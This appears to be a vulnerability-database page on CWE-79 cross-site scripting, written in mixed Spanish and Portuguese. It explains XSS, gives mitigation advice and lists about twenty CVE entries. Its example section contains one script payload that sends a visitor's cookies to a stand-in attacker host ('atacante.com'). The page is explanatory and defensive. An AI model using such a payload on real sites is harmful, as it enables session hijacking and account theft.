Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36374MEDIUMIn JetBrains TeamCity before 2024.03.2 stored XSS via build step settings was possibleEPSS 0.3%CVE-2025-55580MEDIUMSolidInvoice version 2.3.7 is vulnerable to a stored cross-site scripting (XSS) issue in the Clients module. An authenticated attacker can iEPSS 0.3%CVE-2026-102774MEDIUMSureDash <= 1.12.1 - Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via Image 'alt' Attribute in Community Post ContentEPSS 0.3%CVE-2024-9269MEDIUMRelogo <= 0.4.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-36369MEDIUMIn JetBrains TeamCity before 2022.04.7, 2022.10.6, 2023.05.6, 2023.11.5 stored XSS via issue tracker integration was possibleEPSS 0.3%CVE-2026-1512MEDIUMEssential Addons for Elementor <= 6.5.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Info Box WidgetEPSS 0.3%CVE-2024-2163MEDIUMNinja Beaver Add-ons for Beaver Builder <= 2.4.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via WidgetsEPSS 0.3%CVE-2024-36363MEDIUMIn JetBrains TeamCity before 2022.04.7, 2022.10.6, 2023.05.6, 2023.11.5 several Stored XSS in code inspection reports were possibleEPSS 0.3%CVE-2024-11754MEDIUMBooking System Trafft <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-1526MEDIUMDethemeKit for Elementor <= 2.1.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-87632MEDIUMCross-site scripting in SanitizerAPI in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass web origin policy via a craEPSS 0.3%CVE-2026-58657MEDIUMGrav - Stored CSS Injection via Markdown Image resize() ActionEPSS 0.3%CVE-2026-103309HIGHGPTranslate < 2.34.14 - Unauthenticated Stored XSS via REST API Translation StorageEPSS 0.3%CVE-2024-43317MEDIUMWordPress RegistrationMagic plugin <= 6.0.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47449MEDIUMWordPress Meow Gallery plugin <= 5.2.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-58031NONEStored i18n XSS in Special:ApiSandbox when a deprecated module is selectedEPSS 0.3%CVE-2024-9694MEDIUMCMSMasters Elementor Addon <= 1.14.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.3%CVE-2026-58028NONEPretty-printed API output combined with centralauthtoken allows XSS with certain gadgetsEPSS 0.3%CVE-2024-3611MEDIUMToolbar Extras for Elementor & More – WordPress Admin Bar Enhanced <= 1.4.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-4710MEDIUMUber Menu <= 3.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple ShortcodesEPSS 0.3%